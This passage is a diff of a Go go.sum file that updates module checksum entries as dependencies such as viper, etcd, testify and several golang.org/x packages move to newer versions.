v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= @@ -458,20 +800,21 @@ github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0j github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -506,8 +849,8 @@ github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/9 github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= -github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= +github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvIwycIU= +github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= @@ -577,7 +920,8 @@ github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQD github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5AxSgDyEQcea8= +github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0 h1:dVzHQ8fHRmtPjD3K10jT3Qgn/+H+92jhPrhmxIJfDz8= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= @@ -611,8 +955,8 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= -github.com/spf13/viper v1.12.0 h1:CZ7eSOd3kZoaYDLbXnmzgQI5RlciuXBMA+18HwHRfZQ= -github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiuKtSI= +github.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU= +github.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= @@ -627,12 +971,14 @@ github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5 github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= -github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= -github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= +github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= +github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= @@ -649,10 +995,10 @@ github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1 github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A= -go.etcd.io/etcd/client/pkg/v3 v3.5.4/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= -go.etcd.io/etcd/client/v2 v2.305.4/go.mod h1:Ud+VUwIi9/uQHOMA+4ekToJ12lTxlv0zB/+DHwTGEbU= -go.etcd.io/etcd/client/v3 v3.5.4/go.mod h1:ZaRkVgBZC+L+dLCjTcF1hRXpgZXQPOvnA/Ak/gq3kiY= +go.etcd.io/etcd/api/v3 v3.5.6/go.mod h1:KFtNaxGDw4Yx/BA4iPPwevUTAuqcsPxzyX8PHydchN8= +go.etcd.io/etcd/client/pkg/v3 v3.5.6/go.mod h1:ggrwbk069qxpKPq8/FKkQ3Xq9y39kbFR4LnKszpRXeQ= +go.etcd.io/etcd/client/v2 v2.305.6/go.mod h1:BHha8XJGe8vCIBfWBpbBLVZ4QjOIlfoouvOwydu63E0= +go.etcd.io/etcd/client/v3 v3.5.6/go.mod h1:f6GRinRMCsFVv9Ht42EyY7nfsVGwrNO0WEoS2pRKzQk= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= @@ -660,21 +1006,26 @@ go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= @@ -693,7 +1044,7 @@ golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWP golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A= golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -779,13 +1130,20 @@ golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ= @@ -805,11 +1163,16 @@ golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -822,8 +1185,9 @@ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -897,7 +1261,6 @@ golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -909,8 +1272,15 @@ golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220610221304-9f5ed59c137d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= @@ -918,6 +1288,7 @@ golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.3.0/go.mod 